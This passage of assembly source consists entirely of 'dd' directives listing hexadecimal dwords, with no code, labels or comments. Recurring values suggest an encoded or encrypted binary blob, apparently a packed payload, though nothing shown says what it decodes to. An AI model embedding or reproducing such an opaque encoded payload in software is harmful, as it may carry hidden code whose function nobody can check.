		dd 1CB27493h, 0FFB71A8Fh
		dd 87321566h, 44321DE7h, 20BD1A66h, 71321566h, 8944EA07h
		dd 0E41639E7h, 7D0A8A2Fh, 6AAAAC37h, 97B2C04h, 0E725E87h
		dd 0BFF39455h, 1035486Fh, 33524CA9h, 2572B1D2h,	22321A8Fh
		dd 21931D66h, 0D96F98E9h, 6B6A946Ah, 3A703C1Eh,	3DD9407h
		dd 90B382Bh, 0D56FB089h, 0A3C51479h, 806FB0A1h,	9AF59479h
		dd 0AD0B382Bh, 22321574h, 3DDEBAB3h, 0B02275A7h, 74A0E32Fh
		dd 0DD9CF5F0h, 4763EE88h, 761621E7h, 1D3CB65Ch,	18CCE4E7h
		dd 0DABB1BC5h, 3260E93Fh, 3D1021C1h, 7769F7E7h,	0E3B3421Ch
		dd 0D9104165h, 0A6D6E7h, 0F13378A9h, 55A6FEE7h,	876878A9h
		dd 443209E7h, 0E2887566h, 0F835AC32h, 88321576h, 86C647A5h
		dd 45163865h, 0A006A428h, 0F949C944h, 0E18F2E07h, 2D340647h
		dd 11321FE4h, 7309ED66h, 44359369h, 0CBC71566h,	0EECDFCF7h
		dd 7D8F9E9Fh, 24340678h, 222B9769h, 5DB1566h, 321566h
		dd 0FBAC7FA9h, 0CBF5380h, 7642CD35h, 0BF5C94ACh, 259F3F7Bh
		dd 383790A1h, 11321375h, 61521566h, 44321576h, 6D110D20h
		dd 0AD4D7647h, 2E4602B5h, 0B6B27230h, 2232138Fh, 0CBFDA66h
		dd 0E9678C9Eh, 1E617506h, 0AB53E2EDh, 20310D3h,	883EFC60h
		dd 25921566h, 0C3B87991h, 84116BEDh, 5C71ECAh, 5F2720FBh
		dd 0C8B37560h, 3BCA8376h, 88321B8Eh, 0EE7C0B66h, 0F53A369h
		dd 40ABF9CCh, 0D7E7BD96h, 0ADE1EA07h, 22321577h, 40B51C44h
		dd 7B7B6AB0h, 40694899h, 8263BC50h, 1EF21E4Dh, 88322BE2h
		dd 4423FC66h, 6E281566h, 8E86734Dh, 182100ADh, 10CA7782h
		dd 429943F4h, 11319369h, 373D1566h, 41B01A91h, 44321566h
		dd 443ECBE7h, 88A0FC07h, 4CDB1566h, 0CA321566h,	609825B0h
		dd 50CBA11h, 5CBF98FBh,	2222FC60h, 8F211566h, 26FB5400h
		dd 0F88DA1A0h, 4C0FEAF5h, 0C2CD91FDh, 77779669h, 4BDBEA99h
		dd 0C6321566h, 62A5540Ah, 5ED5B0D9h, 4BDA3723h,	97B9FF62h
		dd 17212463h, 8832108Fh, 65C83C66h, 0DB529C46h,	5A8D7306h
		dd 0E9E89EE5h, 41879C07h, 0CB34067Ch, 11321563h, 642DC3D7h
		dd 86AF98DAh, 0DE340CF1h, 0F852C699h, 88321575h, 1B403E8Eh
		dd 7958AFE6h, 8835DADDh, 21F12D0Ch, 250D47C2h, 39790EDh
		dd 71CA1375h, 8832138Eh, 785E6466h, 2DFC7F39h, 113215EAh
		dd 8B8D4C66h, 2518518Bh, 133790EFh, 0F9521375h,	88321574h
		dd 4AAB26A6h, 0EE4C3FB2h, 0E493927Fh, 0B55879B1h, 8EB3CB0Dh
		dd 14432CEEh, 30E19538h, 8EDB7407h, 5B321566h, 2D2AC717h
		dd 0F90C95D2h, 88E19069h, 55DB1566h, 10321566h,	78EB98B5h
		dd 192513AFh, 44B17DC9h, 0C2F134C9h, 11321A8Fh,	7867F266h
		dd 4F0BB80Ah, 0A676FD07h, 108F33DDh, 873FA8E5h,	4B321375h
		dd 223289E2h, 19B31A66h, 87321566h, 443217E0h, 4A537566h
		dd 11321290h, 3D1619EFh, 1DDA9D8Fh, 22339F69h, 0BBC71566h
		dd 0D01A7D9Ah, 48BB1566h, 0ABC39C42h, 1ADB4CAEh, 55321566h
		dd 0CC5D4CFBh, 9DAC7FA9h, 0B31F5380h, 0A1548338h, 0E689469Eh
		dd 23548338h, 1ECB4EBEh, 88321BEEh, 443BFC66h, 0DB491566h
		dd 8EC479C5h, 0DF36577Bh, 443211D9h, 496C3866h,	0E91B556Eh
		dd 80594B63h, 0EFC74A26h, 750FAF06h, 0AA5454F8h, 61538CC9h
		dd 443217FBh, 2232198Fh, 63D74D66h, 57B6BD2Fh, 0BBFE5116h
		dd 0F6AF981Ah, 1E340F9Dh, 88321DE4h, 46BE1A66h,	42321566h
		dd 1EE1EA07h, 883219E6h, 42BA1A66h, 2D321566h, 113215E8h
		dd 0CDAF9866h, 24340E76h, 0F046AA00h, 0CDFD9400h, 5BCD74D5h
		dd 443B9E69h, 44521566h, 888EFFE7h, 83534F34h, 76B71AA6h
		dd 0CB321566h, 11321576h, 10D36C3Eh, 5FDE1940h,	9D44EF2Ah
		dd 0B67D6C28h, 8832418Fh, 56B21A66h, 2D321566h,	113219E0h
		dd 8835FC66h, 0CA1566h,	841174F2h, 14B796BDh, 8D340657h
		dd 44321B8Fh, 0A5131E66h, 6A21331Fh, 0EB2AE58h,	0ADA076F8h
		dd 0DDCDEBE7h, 1DA4506h, 0A1321566h, 0C35BCA95h, 0B7700197h
		dd 8232E2B3h, 0D0C6F285h, 8A8D1A3Fh, 1AF9807h, 1E340E74h
		dd 883214E8h, 97CDE066h, 223C9B69h, 18DB1566h, 0DC321566h
		dd 4CFE4AE8h, 8F8D3EF5h, 943DD56Dh, 8832153Bh, 44229F69h
		dd 29DB1566h, 0F8321566h, 973D1CDCh, 12A4AB09h,	0CB52C2B1h
		dd 11321561h, 0EAE34CA1h, 0ADF49AC5h, 22321563h, 0B1930D42h
		dd 0CDDB743Dh, 24321566h, 2232058Eh, 41BD4866h,	3FA7813Eh
		dd 17D72BDh, 0E89D7677h, 11B41A3Fh, 0D2321566h,	44349869h
		dd 0E9B31566h, 5DAB3637h, 8C894607h, 45321566h,	62E9EBCh
		dd 0E936D1E5h, 8833258Fh, 45B11A66h, 0DB321566h, 9CBF88EBh
		dd 252137Eh, 0FA5442A9h, 436C8B97h, 923DC699h, 88321554h
		dd 44389969h, 27DB1566h, 6D321566h, 64276F2Ch, 7537A0EDh
		dd 2D521375h, 113213E4h, 0EDD09466h, 2510A26Eh,	221FBD8Fh
		dd 12B11A66h, 0E8321566h, 0C9B9749Ah, 24212463h, 11299169h
		dd 0E8521566h, 4420FC07h, 0BA441566h, 5F773FC3h, 84FE3641h
		dd 80CE84D4h, 586655ACh, 14879C07h, 87340657h, 44321DE9h
		dd 20BE1A66h, 71321566h, 98B41A07h, 24321566h, 2232108Eh
		dd 792D2766h, 876C6075h, 1253C2D9h, 0F67914D8h,	0E8DC947Bh
		dd 9216526h, 63EC090h, 42F49406h, 103EEB9Ah, 791B4B97h
		dd 470FFCE7h, 4AC76243h, 11321566h, 0C1611E7h, 6D7E9B75h
		dd 0EB3316Ah, 9F219142h, 87524C2Ah, 443211EBh, 648B7366h
		dd 16DB754Fh, 9E321566h, 0F74696Ah, 4353437Bh, 3C8DD3E7h
		dd 66B37643h, 63A1A29h,	0E4B3DB4Fh, 533A1A29h, 0A58DFBE7h
		dd 0C03D7643h, 22321567h, 0E996E69Ah, 77CEBD8Fh, 4439FC99h
		dd 87421566h, 721F85D4h, 0A9AC810Dh, 8BAF98FAh,	0D7340CFFh
		dd 9D3DC699h, 88321567h, 57997D93h, 1EBB1566h, 19DB4D42h
		dd 0AD321566h, 2AA583B7h, 0CB67AF0Bh, 11321563h, 0A8F9595Ch
		dd 0B1B73E75h, 0CB340678h, 11321577h, 56543080h, 16A7541Ch
		dd 3F8EA420h, 0C39C0F7h, 11B79CF0h, 0AD34064Fh,	22321561h
		dd 0A492EE21h, 3607D7Eh, 572CE0E3h, 34B31A60h, 0F8321566h
		dd 88321577h, 7FDD7E8Ah, 97A8EB94h, 84CEC5ECh, 0DEC839C9h
		dd 0A3BB42E5h, 2236D2E7h, 0FEB31566h, 88321562h, 181629E1h
		dd 2D1629EFh, 113201EDh, 80DB7566h, 0C0321566h,	0D1B8039Eh
		dd 772F5310h, 0DD37C5E7h, 7C727D07h, 26BB1566h,	1BE1A42h
		dd 0E8321566h, 4432138Eh, 56D2C966h, 4AA956EFh,	553FDD5h
		dd 5DA9F8EBh, 23B61A60h, 0E8321566h, 3CEC499h, 573E04E3h
		dd 0F2B87560h, 0AF31C7E7h, 0DD5322B2h, 81B3F0EFh, 22321562h
		dd 9636F8E5h, 16E314Ah,	48DB3162h, 0D321566h, 53131997h
		dd 93D9E06h, 13226C9Fh,	0E5B3F2EFh, 11321562h, 8836FAE7h
		dd 78B51566h, 1EBB4942h, 0D9B27542h, 88E1956Ah,	4B627507h
		dd 223215E0h, 0AF544D66h, 35386D2h, 572CE0E3h, 2221FC60h
		dd 53F81566h, 0D28525Dh, 5E13E121h, 0E34B6D39h,	8DE3DECDh
		dd 68BB454Fh, 44321163h, 22363866h, 15B51566h, 8CBB4942h
		dd 49B11A42h, 42321566h, 0D2F59400h, 88BB1A94h,	25321566h
		dd 0BF0298EBh, 7152137Fh, 84DB7406h, 94321566h,	0BF416875h
		dd 0D03A6FF9h, 0E9E32E42h, 44321B8Fh, 58462E66h, 3AD53579h
		dd 0C2FE5495h, 250C76CCh, 0A63DC499h, 11321570h, 8832048Fh
		dd 3033A766h, 7F8BA11Eh, 8D7E7083h, 344F07BCh, 0A8B18B4Fh
		dd 6369C62h, 0C81621E7h
		dd 0D26AE407h, 25EBE7E7h, 0CB524D97h, 1132156Ah, 0FB9D3744h
		dd 0AEA1CCD1h, 749DCA6Fh, 4153C3EDh, 0E31611E7h, 1D386F0Bh
		dd 4F59AB30h, 0E01B1F1Ch, 82DB7538h, 27321566h,	83918965h
		dd 9278025Fh, 8BB61A4Ch, 4B321566h, 953CFD9h, 23E04EBh
		dd 84BE1A60h, 4B321566h, 223213E0h, 11B81A66h, 0B321566h
		dd 573BF4DBh, 0A63D1560h, 113215F6h, 8EB71A06h,	4B321566h
		dd 223215E3h, 9C3D7466h, 88321567h, 49B79E9Ah, 0D7340643h
		dd 18D3904Dh, 86DB1375h, 9D321566h, 2665BE0Bh, 93C68714h
		dd 6C0225FAh, 4BF32E64h, 223246E0h, 10B21A66h, 74321566h
		dd 679B90EDh, 27DB1375h, 93321566h, 170467C6h, 44321E8Fh
		dd 97305066h, 9BAAD064h, 6DFA11C3h, 4DD39065h, 2DCE1375h
		dd 113214E8h, 0DBBE066h, 42211597h, 2348FC9Ah, 1CDB1566h
		dd 4B321566h, 0C1D802BFh, 926242F1h, 98076010h,	8831C90Eh
		dd 603E9C66h, 2237FC06h, 830C1566h, 3A32DEEh, 0CD6574BEh
		dd 16B342A9h, 0CA35C642h, 5B074D20h, 1B74CE61h,	95E79506h
		dd 70F4A269h, 0A5ADAE35h, 0AFB34A56h, 7D0238C6h, 0F869CD67h
		dd 88321569h, 2B9314AFh, 22010CC6h, 45F91599h, 0B323821h
		dd 58BB118Ah, 2DCDAE42h, 0C93B1566h, 3765E93Dh,	44321567h
		dd 0CB6DED67h, 11321560h, 0DA8FB7Ah, 0C1BB37A1h, 2421306Bh
		dd 11359469h, 0B3D1566h, 44321567h, 1FB7149Fh, 0F834066Fh
		dd 8832156Dh, 0B5C14E44h, 0A0D0B6Eh, 0D6A0693Eh, 9B3BF4E3h
		dd 44321560h, 0AB3D7566h, 11321564h, 6060C3EDh,	4432156Dh
		dd 77BCBF11h, 0FA83FAA7h, 0D3BB43E6h, 458743Eh,	223E9F69h
		dd 913D1566h, 88321560h, 44329D69h, 225A1566h, 71321576h
		dd 0E9FCA793h, 442CD70Eh, 63E9C66h, 0F8327F9Eh,	8832156Fh
		dd 3FA8092Bh, 1379CF21h, 0B8A7EA38h, 8734067Bh,	443214E5h
		dd 0DDC7E066h, 21EC8F3h, 84BE1A60h, 24321566h, 4DC6BAD8h
		dd 83D5AD59h, 15331FFh,	5711BCE3h, 24DB7560h, 0D9321566h
		dd 8B5D8F9Eh, 0D48D736Eh, 0A73D7402h, 1132156Bh, 88BE1A06h
		dd 22321566h, 8C5FD6E7h, 0E0B79C07h, 7D340666h,	171619EDh
		dd 0E1B3F6EFh, 11321562h, 0F36D6E5h, 0BD6E317Ah, 22C3A099h
		dd 71CA1375h, 8832138Eh, 0CC56FD66h, 0CAD97F4Ch, 1132156Dh
		dd 7A177F22h, 2B37F8DEh, 7A7B11E2h, 1137FC3Fh, 298C1566h
		dd 25F93968h, 2E23A099h, 79C71375h, 883233B9h, 0B11629EFh
		dd 24B71A06h, 90321566h, 2C3AEABEh, 9C851A32h, 0D787EA07h
		dd 0E4340678h, 30BC90EBh, 4B52137Fh, 223218E7h,	1135FD66h
		dd 745B1566h, 0AD0EC31Ah, 0DD534FA6h, 9C33EDB6h, 8E211C87h
		dd 44389169h, 27DB1566h, 0D2321566h, 152AE507h,	44C3A8EDh
		dd 0A13D1375h, 1132156Eh, 52F09406h, 2500CC20h,	2E23A0EDh
		dd 1CDB1375h, 4A321566h, 8B402E09h, 0E6657E32h,	8D6C821h
		dd 8832018Fh, 679D8766h, 92E5BCB2h, 3E66A631h, 67B3B822h
		dd 0FA8D997h, 4296E617h, 9FBFAD00h, 3DB97493h, 42210CEFh
		dd 0CA52B893h, 11321575h, 85823851h, 3AC16751h,	394249BDh
		dd 3B9AAA26h, 84D956Ch,	0AD6A79ADh, 22321572h, 0A3173FE3h
		dd 12B16F76h, 9E237F1Eh, 8E72A793h, 6E932462h, 883CFC07h
		dd 0DA531566h, 5E76B582h, 80BBF738h, 18FFCC4Fh,	42FDAA31h
		dd 64F54A1Ah, 6D34DA9Ah, 74894639h, 45CDEA99h, 79092495h
		dd 113AFC39h, 0CAD31566h, 879D27C6h, 0E2F314F0h, 48657563h
		dd 8CDE9407h, 0CD321566h, 48C3152h, 0D00C4D20h,	4EB31180h
		dd 0D79DA2CFh, 426CE567h, 11321D8Fh, 213F2F66h,	0D02329F8h
		dd 2CDB749Ah, 0A2321566h, 14D61F30h, 3C4614D4h,	0C76FACD2h
		dd 0A8B71603h, 0E834066Dh, 0CF530AD2h, 3132E4EBh, 0DA8B7560h
		dd 617FFD32h, 44321568h, 9CDF86ACh, 48C7FE62h, 0DE847F71h
		dd 2453F7D1h, 7363749Eh, 41371DFh, 0AC7E1447h, 44BD4C62h
		dd 3563DE7h, 0DB3473h, 7A321566h, 8A3B8E1Fh, 0B3692DF4h
		dd 0B537B58Dh, 0BAE91148h, 2C62ECCBh, 70523DDEh, 901611EDh
		dd 883211A2h, 6C8A3866h, 64BB4706h, 0F8CB4D9Ah,	88321561h
		dd 7449281Ch, 0AB8C913Fh, 22B9CD3h, 82B01A60h, 0AD321566h
		dd 22321563h, 0BF002C24h, 77CA96DFh, 44B79069h,	0CA521566h
		dd 11321560h, 65FEF4Bh,	0FF5433F0h, 2D6BF312h, 0F853EED9h
		dd 8832156Eh, 76925787h, 23A4D6C9h, 0CCEF2BE7h,	0D3DC8BBh
		dd 44321531h, 22321E8Fh, 92D79E66h, 4ACC7FC9h, 64BEE553h
		dd 9C644693h, 16F65C5Ah, 4C7B29DDh, 1AC13C61h, 42690BEFh
		dd 155A4407h, 0D1321566h, 4B6BDB67h, 22321EEBh,	1134FC66h
		dd 0E2FE1566h, 0AF96E5FBh, 3BBBA0EFh, 0F8CB1375h, 77CDC171h
		dd 58BFAD06h, 9A542471h, 0D0537187h, 83DB16A6h,	89321566h
		dd 13A8A751h, 66DA6F19h, 0D31032Ah, 42211EDFh, 223E9569h
		dd 953D1566h, 88321560h, 44329769h, 9FB11566h, 172125EFh
		dd 1BB61A67h, 4B321565h, 223214EBh, 2FB3E066h, 2298BFCCh
		dd 44979069h, 32DB1566h, 52321566h, 1CA2B61Bh, 677784CBh
		dd 617097CCh, 7939BA6Ch, 88327F9Fh, 0FE1601EFh,	22321562h
		dd 1E68C367h, 883212ECh, 45BA1A66h, 0D7321566h,	6F35A833h
		dd 55C5503Dh, 0A1E3C091h, 2180F0E7h, 907F01DAh,	3BCDEA8Bh
		dd 2BD4066h, 0A13D489Ah, 11321574h, 883E9F69h, 43DB1566h
		dd 49321566h, 1C584933h, 7003FCBFh, 0BC03D257h,	0AAF19406h
		dd 0F86E42E5h, 88321575h, 6622CF6h, 0D3EDDE1Fh,	0B6A333Ah
		dd 0D293C776h, 2540CA10h, 73DBA235h, 0D9BAECEEh, 61C74E3Fh
		dd 44321526h, 22339F69h, 20C71566h, 0B9F5249Eh,	4082E99Eh
		dd 0CAF2FC42h, 0D0814665h, 0A469CD6Eh, 59B51ABFh, 42321566h
		dd 1132018Fh, 3727CA66h, 53F09571h, 50C657CBh, 699B8A44h
		dd 70B98EF5h, 2585A0A1h, 227B270Eh, 35369C66h, 8832188Fh
		dd 0C10F066h, 33DF7956h, 1E2C0D3Dh, 35B196BCh, 42210F13h
		dd 74B61A67h, 71321567h, 18E99431h, 1B61292Eh, 7053CFEDh
		dd 66887D30h, 96C384Dh,	0B037F80h, 8C49404h, 98121E56h
		dd 58BB4B94h, 443EFC3Ch, 0F4011566h, 340EA73Fh,	0CFE88EB2h
		dd 0F9B144E5h, 2428816Fh, 26B61A66h, 7D321566h,	895888EBh
		dd 4452137Fh, 0D3B8CBEDh, 87607507h, 443215EAh,	33DB4C66h
		dd 0A1321566h, 0E14615E4h, 284A69F8h, 0DB93F613h, 1E19563Fh
		dd 87E1EA07h, 443214E9h, 1DB2E066h, 43B61AF6h, 61321566h
		dd 44321576h, 7E024D8Ah, 97DFDE51h, 657453C7h, 0EBF57D75h
		dd 2237A833h, 0FEB31566h, 0B9465BE0h, 83B3FA67h, 13465BE0h
		dd 2BB1A3Bh, 61321566h,	44321568h, 3D7DF4C0h, 0F73503C9h
		dd 5005D6F8h, 0EBDBE122h, 42321567h, 77EBA269h,	2D62CAE7h
		dd 14CA9607h, 22459769h, 9C3D1566h, 8832157Ah, 86851A06h
		dd 2232078Fh, 0E6897666h, 0DD39B8F0h, 9DCEC1Ah,	6C910648h
		dd 70B447B3h, 38A6A734h, 1EE23D8Dh, 0E231F5A6h,	9E36128Eh
		dd 88389B69h, 24521566h, 22BA1A07h, 70321566h, 888C75CCh
		dd 0C550BEEFh, 0D207E588h, 15B97443h, 6EBB4342h, 4436D3E7h
		dd 0E4B31566h, 11321562h, 0D41621E1h, 1ECA4506h, 8AC9AD00h
		dd 0F8CEBF07h, 883215D6h, 6006EA93h, 26F6963Eh,	7752BF9Ah
		dd 871D89DFh, 443214EBh, 0A253E966h, 1EDBEA19h,	88329AE3h
		dd 0ACCA7566h, 22321577h, 62528FBDh, 9C8AF670h,	0D9DC1C1Dh
		dd 94F22F8Ah, 1123FC0Ah
		dd 5E551566h, 0C8401A3h, 13FE83A2h, 0EECEA77Fh,	0D64F7F4Ah
		dd 4D8F9607h, 22340FF2h, 111E9169h, 5C71566h, 5DFE55FBh
		dd 223FFC60h, 0B77B1566h, 4CF0F237h, 15A19B26h,	0DDB8B50Ch
		dd 0AE3D75B5h, 8835FCBFh, 0B9601566h, 63D5F3E8h, 0A863741Eh
		dd 88321562h, 0CC60EC67h, 78239DA4h, 0BC1A3Fh, 61321566h
		dd 4432156Ah, 859B91A4h, 739DBEA3h, 0CD80AD47h,	44C390EDh
		dd 30DB1375h, 0C5321566h, 696CF855h, 93A6D771h,	141AB893h
		dd 1133D393h, 8823FCDBh, 0B5041566h, 51D22473h,	671124F0h
		dd 62016E50h, 694E08CFh, 5DC96FF4h, 142C1A4Bh, 8DCA3C7Ch
		dd 5E370B69h, 0D9488763h, 113BFC19h, 47D51566h,	0A421B095h
		dd 0A1B3F163h, 0DBB118Ah, 8836AE42h, 9C1B1566h,	2238FC3Dh
		dd 78611566h, 0C428A95h, 8EC50A81h, 429FE9CDh, 1CDAE6EDh
		dd 0B7321566h, 7EFE8404h, 9C50EFC6h, 22E96675h,	0D8637438h
		dd 2C3C09DEh, 44F2AC36h, 0D033A99Ch, 7474D23Eh,	495061BAh
		dd 7BCE5B57h, 0EA6BFC9Ah, 0E3DEA99h, 44321561h,	22339569h
		dd 98CE1566h, 9B2B9CD3h, 43B11A60h, 2D321566h, 113214E7h
		dd 164E066h, 40F49480h,	0A1321566h, 25B51188h, 9CBB4942h
		dd 4CBB1A42h, 42321566h, 11329469h, 0E0531566h,	44329566h
		dd 223E9E69h, 9E3D1566h, 88321560h, 44329069h, 0A53D1566h
		dd 1132157Fh, 8832018Fh, 711B1066h, 7683FBF3h, 0F353D003h
		dd 0EEFAFA44h, 6263A23Dh, 2D327F1Dh, 113212E1h,	3547566h
		dd 25F59E98h, 2F1BA099h, 1ADB1375h, 0F1321566h,	102A54E1h
		dd 6A9D6494h, 84CDB5F1h, 8E211453h, 44359869h, 0A13D1566h
		dd 11321567h, 0AC06EA9Fh, 40F6963Ch, 6BBF9E9Eh,	71340676h
		dd 8832058Fh, 92DF0E66h, 1887DF05h, 863F579h, 86B63CF4h
		dd 225274BFh, 0A354CDEDh, 705C1C8Dh, 8832AA31h,	7DBB1566h
		dd 0A11629EDh, 46CB11A2h, 883211D9h, 0CFCB1466h, 0E6B3315Ah
		dd 11321562h, 40851A06h, 44321E8Eh, 92DE6666h, 1A0CDE74h
		dd 64CADF2Ah, 44329069h, 436A1566h, 58BF9C9Eh, 61340676h
		dd 44321560h, 32D71351h, 0FEDB4091h, 71CDEAA1h,	4418EB8Fh
		dd 4252ED66h, 0F885F2E6h, 88321569h, 8813FB23h,	53FC334Ch
		dd 24E1EFB5h, 0E92FCA61h, 547B98EDh, 74521375h,	11329869h
		dd 0E8691566h, 4432018Fh, 0F1E94666h, 62C0FB62h, 625F8BCEh
		dd 0F00C9FE5h, 59D6D231h, 0CE851ADFh, 0DA617407h, 443215DCh
		dd 78E19C66h, 1AB9DE67h, 89B91A3Dh, 0BC321566h,	0B63798EFh
		dd 0F852137Ch, 88321575h, 0B8A6045Ah, 0E7AD7B9Fh, 0F69843F5h
		dd 0F3488DF3h, 0ADDCBA01h, 22321576h, 4589771Fh, 0EFDE8D11h
		dd 581AF6A0h, 0E7BCBC1h, 5F0A9407h, 877E5132h, 44329CE3h
		dd 223BFC66h, 2A111566h, 0E68B42E0h, 22007939h,	6E366DE7h
		dd 7EB71A48h, 74321566h, 60369436h, 46967D52h, 68F4038h
		dd 918E418h, 9B7553ABh,	27D7D45Fh, 0D4B3C091h, 0CD386A08h
		dd 0B88BE0E7h, 0CC1BB4D8h, 40CEEC3Bh, 883213DFh, 0CFFC1466h
		dd 0E6B3316Ah, 11321562h, 883A9769h, 0C43D1566h, 22321564h
		dd 94B97406h, 8E2101ABh, 4127FC9Ah, 0A13D1566h,	11321574h
		dd 8832188Fh, 18AA1266h, 737636F9h, 0D9CA2313h,	9629E7Fh
		dd 4E33152h, 706C0B87h,	92728EDCh, 0C2C0942Ah, 75607766h
		dd 72CA4FB0h, 901601EDh, 883211A2h, 0C5527566h,	1740098Ch
		dd 20537479h, 83B11AAFh, 24321566h, 22329169h, 9A541566h
		dd 719E74B1h, 0C03D155Ah, 22321429h, 1E1F299Eh,	77CDF8E2h
		dd 4420FC99h, 62101566h, 94A5C65Ah, 1ACBCD94h, 961FCCAFh
		dd 0BB18A9Ah, 0C8C49406h, 32A1491h, 6A0E74A5h, 22D39169h
		dd 2DCB1566h, 0ADB01A56h, 24321563h, 2CDBF0ECh,	0E7321566h
		dd 0A03083E4h, 0A05F5D43h, 0B1C53B0Fh, 280E74EEh, 77AE9369h
		dd 0ADCAEA99h, 22321574h, 3C71CE05h, 22C56A02h,	33BA7268h
		dd 0DC72C18Ah, 500EA0BEh, 8CD49769h, 0CB3D1566h, 2232156Bh
		dd 11321D8Fh, 0B5A5AE66h, 0CE4EA550h, 2D6829F7h, 0EECD74E0h
		dd 43D7599h, 44321565h,	99E59E00h, 36A43A4Fh, 876D2907h
		dd 0BBCD5CE2h, 0AB3D7599h, 11321565h, 61EC9E00h, 44321563h
		dd 0A08381B2h, 715274D1h, 0E8F9A269h, 0FC547407h, 1E53FDB1h
		dd 98B01A07h, 70321562h, 4B48299Fh, 0DDCD00E0h,	2BA1A99h
		dd 61321566h, 44321568h, 0A699E9F8h, 0CE3FFD56h, 85AFFCE5h
		dd 0C93D8124h, 22321567h, 1568FC9Fh, 0D3D1566h,	44321561h
		dd 22339D69h, 44CA1566h, 883214DBh, 19D81466h, 0D00BE99Fh
		dd 15089169h, 0EE521566h, 1753E6EDh, 0DDCDEADDh, 4AE81499h
		dd 898A459Eh, 45321566h, 0CBC74DA7h, 0EECDEBD4h, 9C8B7306h
		dd 0DFF4ABE9h, 0A7530B2Bh, 18B61AAFh, 87321562h, 443212E5h
		dd 23B01A66h, 0E9321566h, 65CBAA06h, 25CA1C1Bh,	227BA0EBh
		dd 9A3D1375h, 88321577h, 4432198Fh, 3F07B466h, 4B5F1BF6h
		dd 4115114Ch, 92BB4362h, 16B9E4EFh, 15F69442h, 87321566h
		dd 443212EAh, 43527566h, 70F1AA69h, 16B4737h, 0AC524CA9h
		dd 2232156Bh, 0D370EE7Fh, 3CFF20B7h, 2FB2A3DAh,	223DFCD5h
		dd 0AEAC1566h, 0A6BF5380h, 2342CD35h, 155C94ACh, 40534A7Bh
		dd 0BE821DD3h, 48B9FD4Eh, 26F69642h, 11349569h,	3521566h
		dd 25E49E95h, 0DF47BB93h, 11339E69h, 0E8CE1566h, 0A90FAF00h
		dd 0A35364D7h, 0D241D28Fh, 7DB946Ah, 6D642A2Ah,	0ADF3949Fh
		dd 90642A2Ah, 4B41D2A7h, 443FFC6Ah, 93571566h, 50CBEC67h
		dd 7ADF6A7Ch, 15A91696h, 0D56F4C33h, 0E8DB92BBh, 0E731FAE7h
		dd 0ABB300D3h, 630502F7h, 0D6B3DA4Fh, 0C90502F7h, 2B31D2E7h
		dd 0A03D00D3h, 1132156Fh, 36E69F06h, 145120DEh,	223BFC07h
		dd 9E541566h, 0BFDB9805h, 13C62048h, 226E010Eh,	35069C66h
		dd 61524B39h, 4432156Ah, 5CEAB4C6h, 0ED437434h,	0C8850142h
		dd 44379969h, 0EE8D1566h, 70734C9Eh, 6196E69Eh,	4432156Ch
		dd 0FFDAF5E6h, 0DBDC5909h, 952C034h, 92A12F8Ch,	0C5B37367h
		dd 795311B0h, 88325480h, 0F41611EFh, 0DD759D66h, 9CCAEC3Eh
		dd 9B325CF3h, 4422FC60h, 0AF221566h, 0C24D02Eh,	75D35155h
		dd 77EF713Dh, 0A13D6DE2h, 1132156Ah, 88349A69h,	0C03D1566h
		dd 22321566h, 0FE790EDh, 0DC71375h, 0C6B71AA6h,	0DB321566h
		dd 0D390A0h, 61751375h,	44321569h, 8D21CF99h, 0AA838ADCh
		dd 0A09925BBh, 2CCACB52h, 0F6A8B2B4h, 1AD89506h, 88321A8Fh
		dd 0C1B86D66h, 0CD19F611h, 7EB28F1Dh, 0B27AC9AFh, 0AD87EA07h
		dd 42340678h, 8F2AC3E7h, 71B977F3h, 77B79807h, 0CB34031Ah
		dd 1132156Ch, 69D29A0Bh, 3BEBCEE7h, 0DDCAC574h,	19B81AB6h
		dd 87321566h, 443217EEh, 0CB537566h, 1132156Bh,	4F4899C4h
		dd 0A695D5B7h, 1DEC19Eh, 0F6BB42E5h, 8836D2E7h,	0ABB31566h
		dd 22321562h, 4D1629E1h, 611601EFh, 44321576h, 0CD5B22BCh
		dd 0FC6971EFh, 0C50CA070h, 87E49818h, 0A43DC599h, 1132157Eh
		dd 8832068Fh, 4D52C566h, 0B46A3733h, 0FA9F631Eh, 0A3400ADAh
		dd 9BC87BAh, 0A73DD5E3h, 113215B9h, 0E9FC9E06h,	55DF90EDh
		dd 2BDB1375h, 80321566h, 2842AE28h, 720ED76h, 0A73DD5E3h
		dd 11321532h, 8832138Fh, 0BEAE7966h, 0E4B18B40h, 223F4E3h
		dd 0F3D5960h, 4432156Eh, 44D09F06h, 7030DEDFh, 522EFC0Eh
		dd 0F1CDECBFh, 24210B8Fh, 22B79893h, 0E834031Ah, 0B5851A35h
		dd 24B31A3Dh, 90321566h
		dd 3E4A7E97h, 94CD742Eh, 2232128Fh, 7A75A766h, 87A1D9DEh
		dd 0C5D19C35h, 223211A5h, 15D99466h, 0F321566h,	0CD6E317Ah
		dd 0A2523172h, 9A54E380h, 58CD74BEh, 44359C69h,	0A13D1566h
		dd 11321567h, 82BF1A9Ah, 0AD321566h, 22321563h,	7C6A8AEDh
		dd 87F29092h, 443233E3h, 32B71A66h, 71321566h, 8832128Fh
		dd 8DB45066h, 0A7A9A053h, 0F8537406h, 883215DEh, 7C8C7306h
		dd 5092AF63h, 9853617Ah, 92A610E3h, 4BCE7560h, 4A53DDD1h
		dd 11324B2Ch, 0E81611EFh, 79B3FBE7h, 43C71F0Ch,	1142690Eh
		dd 0AC069C66h, 4432108Fh, 9B284666h, 94BF8AADh,	8E2487ADh
		dd 443B9669h, 0D7521566h, 2B90DAE7h, 875371EFh,	443218E4h
		dd 223AFC66h, 39AA1566h, 413DF69Dh, 94CD9F5Ah, 2232078Fh
		dd 57201866h, 0A35BCE17h, 0D3FEC94Bh, 0DA11A632h, 1A715CC9h
		dd 97B71AA6h, 0B8321566h, 22323A8Fh, 1126FC66h,	2911566h
		dd 0A09E3538h, 1EBD6C68h, 0EE671176h, 78B75829h, 0BB47DAh
		dd 0A03D0942h, 1132156Ah, 88349A69h, 0C93D1566h, 22321566h
		dd 1ECB7507h, 883215E9h, 0BDF17466h, 0AFB9EC06h, 17288163h
		dd 0E9C29E06h, 4418920Eh, 6369C66h, 1123FD06h, 0BD521566h
		dd 6E63C6F0h, 0F482E52Fh, 2926A2AEh, 0D0E84F1Bh, 0B1534D36h
		dd 0AB6F4433h, 9152488Eh, 0DB5387B6h, 443229DDh, 0B6D99466h
		dd 100EB73Ah, 1CF194A5h, 470EB73Ah, 0AB3D4E65h,	1132157Ah
		dd 88BE1A06h, 0AD321566h, 22321569h, 228FEDD7h,	18DF282h
